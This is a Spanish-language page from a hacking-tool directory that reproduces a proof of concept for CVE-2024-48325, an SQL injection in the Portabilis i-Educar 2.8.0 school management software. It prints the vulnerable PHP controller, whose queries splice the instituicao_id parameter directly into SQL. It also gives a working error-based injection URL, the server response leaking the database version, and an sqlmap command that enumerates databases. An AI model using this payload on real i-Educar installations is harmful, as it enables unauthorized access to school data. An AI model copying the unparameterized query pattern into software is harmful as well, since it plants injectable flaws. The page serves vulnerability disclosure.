Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2024-48325 — Prueba de concepto para inyección SQL en Portabilis i-Educar 2.8.0, que demuestra acceso no autenticado a la base de datos a través del endpoint getDocuments con explotación automatizada usando SQLMap. | Kitploit
Herramientas/GitHubGitHub/osvaldotenorio/cve-2024-48325
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Prueba de concepto para inyección SQL en Portabilis i-Educar 2.8.0, que demuestra acceso no autenticado a la base de datos a través del endpoint getDocuments con explotación automatizada usando SQLMap.

Ver Repositorio
17hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-48325

Descripción: Un usuario autenticado puede abusar de una vulnerabilidad de inyección SQL que existe en la función getDocuments de la clase InstituicaoDocumentacaoController. El parámetro instituicao_id en /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id no está sanitizado adecuadamente, lo que permite que un atacante remoto autenticado inyecte comandos SQL maliciosos.

Versiones: Descubierto en Portabilis i-Educar 2.8.0.

Prueba de concepto

Detalles de la vulnerabilidad

El problema está presente en la función getDocuments de la clase InstituicaoDocumentacaoController, que puede ser desencadenada a través del siguiente endpoint:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

Cómo ocurre la vulnerabilidad

El parámetro instituicao_id se utiliza directamente en consultas SQL sin la sanitización o parametrización adecuada. Esto permite a los atacantes enviar solicitudes HTTP maliciosas para inyectar comandos SQL, obteniendo potencialmente acceso no autorizado a la base de datos o manipulando datos.

  • Ejemplo de endpoint que desencadena la vulnerabilidad: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • Ejemplo de exploit: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

Respuesta del servidor:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

Explotación automatizada

  • Esta vulnerabilidad también puede ser explotada por herramientas automatizadas como SQLMap, lo que permite la enumeración de la base de datos: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

Descargar herramienta